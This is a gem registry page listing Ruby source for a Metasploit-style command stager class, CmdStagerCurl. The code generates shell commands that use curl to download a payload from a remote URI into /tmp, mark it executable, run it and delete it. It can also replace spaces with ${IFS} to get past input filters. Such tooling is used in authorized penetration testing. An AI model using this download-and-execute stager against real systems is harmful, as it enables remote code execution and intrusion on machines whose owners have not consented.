Sha256: ee030686af4dd54d23f70dc430083b45d27357832d079f20e18c8e85874f30bf
Contents?: true
Size: 1.02 KB
Versions: 14
Compression:
Stored size: 1.02 KB
Contents
# -*- coding: binary -*- class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase def http? true end def user_agent /^curl/ end def generate(opts = {}) if opts[:payload_uri].nil? raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]" end opts[:temp] ||= '/tmp' opts[:file] ||= Rex::Text.rand_text_alpha(8) @payload_path = "#{opts[:temp]}/#{opts[:file]}" super end def generate_cmds_payload(opts) cmds = [] if opts[:ssl] cmds << "curl -kso #{@payload_path} #{opts[:payload_uri]}" else cmds << "curl -so #{@payload_path} #{opts[:payload_uri]}" end cmds end def generate_cmds_decoder(opts) cmds = [] cmds << "chmod +x #{@payload_path}" cmds << @payload_path cmds << "rm -f #{@payload_path}" unless opts[:nodelete] cmds end def compress_commands(cmds, opts) cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace] super end def cmd_concat_operator ';' end end
Version data entries
14 entries across 14 versions & 1 rubygems